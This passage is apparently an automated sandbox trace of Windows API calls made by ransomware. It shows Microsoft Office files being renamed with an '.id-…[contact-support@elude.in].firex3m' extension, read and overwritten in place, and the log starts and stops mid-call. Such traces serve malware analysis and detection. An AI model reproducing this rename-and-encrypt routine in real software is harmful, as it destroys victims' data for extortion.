lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.378] CloseHandle (hObject=0x67c) returned 1 [0128.440] GetProcessHeap () returned 0x630000 [0128.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71cb478 | out: hHeap=0x630000) returned 1 [0128.440] GetProcessHeap () returned 0x630000 [0128.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0128.442] GetProcessHeap () returned 0x630000 [0128.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0131.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x12804f7c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc3887, dwReserved0=0xbfc7496, dwReserved1=0x71c0040, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP038C~1.FIR")) returned 0x6d4e40 [0131.825] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0131.825] Sleep (dwMilliseconds=0x1) [0131.833] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", len=0x44 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 1 [0131.833] GetProcessHeap () returned 0x630000 [0131.833] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xfc) returned 0x66a3e0 [0131.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.835] CloseHandle (hObject=0x4bc) returned 1 [0131.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0419~1.FIR")) returned 0x6d5540 [0131.838] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0131.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.840] GetProcessHeap () returned 0x630000 [0131.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1221) returned 0x673b38 [0131.840] GetProcessHeap () returned 0x630000 [0131.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1221) returned 0x6f62508 [0131.840] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.840] ReadFile (in: hFile=0x4bc, lpBuffer=0x673b38, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesRead=0x4d3ff0c*=0x1200, lpOverlapped=0x0) returned 1 [0131.881] GetProcessHeap () returned 0x630000 [0131.882] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0131.882] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.882] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f62508*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62508*, lpNumberOfBytesWritten=0x4d3ff0c*=0x1200, lpOverlapped=0x0) returned 1 [0131.882] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.882] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f63707*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f63707*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.882] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.882] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.882] CloseHandle (hObject=0x4bc) returned 1 [0131.883] GetProcessHeap () returned 0x630000 [0131.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f62508 | out: hHeap=0x630000) returned 1 [0131.883] GetProcessHeap () returned 0x630000 [0131.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0131.883] GetProcessHeap () returned 0x630000 [0131.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0131.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x148f3716, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1228, dwReserved0=0xbfc7496, dwReserved1=0x673b30, cFileName="AN04195_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0419~1.FIR")) returned 0x6d5200 [0131.884] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.884] Sleep (dwMilliseconds=0x1) [0131.896] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF", len=0x44 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 1 [0131.896] GetProcessHeap () returned 0x630000 [0131.896] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf4) returned 0x66a3e0 [0131.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.898] CloseHandle (hObject=0x4bc) returned 1 [0131.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0417~1.FIR")) returned 0x6d5540 [0131.900] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0131.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.900] GetProcessHeap () returned 0x630000 [0131.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa61) returned 0x6e5368 [0131.900] GetProcessHeap () returned 0x630000 [0131.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa61) returned 0x6fba008 [0131.900] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.900] ReadFile (in: hFile=0x4bc, lpBuffer=0x6e5368, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesRead=0x4d3ff0c*=0xa40, lpOverlapped=0x0) returned 1 [0131.911] GetProcessHeap () returned 0x630000 [0131.911] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0131.911] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.911] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fba008*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesWritten=0x4d3ff0c*=0xa40, lpOverlapped=0x0) returned 1 [0133.738] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.738] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fbaa47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbaa47*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.738] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.738] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.738] CloseHandle (hObject=0x4bc) returned 1 [0133.739] GetProcessHeap () returned 0x630000 [0133.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0133.739] GetProcessHeap () returned 0x630000 [0133.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0133.739] GetProcessHeap () returned 0x630000 [0133.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0133.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a91be5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0xbfc7496, dwReserved1=0x6e5360, cFileName="AN04174_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0417~1.FIR")) returned 0x6d4e00 [0133.740] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0133.740] Sleep (dwMilliseconds=0x1) [0135.775] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF", len=0x44 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 1 [0135.775] GetProcessHeap () returned 0x630000 [0135.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x26c) returned 0x670860 [0135.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.775] CloseHandle (hObject=0x4dc) returned 1 [0135.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0037~1.FIR")) returned 0x6d4f00 [0135.776] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0135.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.777] GetProcessHeap () returned 0x630000 [0135.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x321) returned 0x69ec20 [0135.777] GetProcessHeap () returned 0x630000 [0135.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x321) returned 0x6fbec88 [0135.777] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.777] ReadFile (in: hFile=0x4dc, lpBuffer=0x69ec20, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x69ec20*, lpNumberOfBytesRead=0x4d3ff0c*=0x300, lpOverlapped=0x0) returned 1 [0135.781] GetProcessHeap () returned 0x630000 [0135.781] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0135.781] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.781] WriteFile (in: hFile=0x4dc, lpBuffer=0x6fbec88*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbec88*, lpNumberOfBytesWritten=0x4d3ff0c*=0x300, lpOverlapped=0x0) returned 1 [0135.781] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.782] WriteFile (in: hFile=0x4dc, lpBuffer=0x6fbef87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbef87*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.782] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.782] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.782] CloseHandle (hObject=0x4dc) returned 1 [0135.783] GetProcessHeap () returned 0x630000 [0135.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fbec88 | out: hHeap=0x630000) returned 1 [0135.783] GetProcessHeap () returned 0x630000 [0135.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69ec20 | out: hHeap=0x630000) returned 1 [0135.783] GetProcessHeap () returned 0x630000 [0135.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0135.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e17010, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0xbfc7496, dwReserved1=0x69ec18, cFileName="DD00372_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0037~1.FIR")) returned 0x6d5540 [0135.783] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0135.783] Sleep (dwMilliseconds=0x1) [0135.822] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF", len=0x44 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 1 [0135.822] GetProcessHeap () returned 0x630000 [0135.822] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x264) returned 0x670860 [0135.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0135.822] CloseHandle (hObject=0x714) returned 1 [0135.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0026~1.FIR")) returned 0x6d5540 [0135.826] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0135.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0135.826] GetProcessHeap () returned 0x630000 [0135.826] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9461) returned 0x6ef75c0 [0135.826] GetProcessHeap () returned 0x630000 [0135.826] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9461) returned 0x7196e08 [0135.826] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.826] ReadFile (in: hFile=0x714, lpBuffer=0x6ef75c0, nNumberOfBytesToRead=0x9440, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef75c0*, lpNumberOfBytesRead=0x4d3ff0c*=0x9440, lpOverlapped=0x0) returned 1 [0140.508] GetProcessHeap () returned 0x630000 [0140.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0140.508] SetFilePointerEx (in: 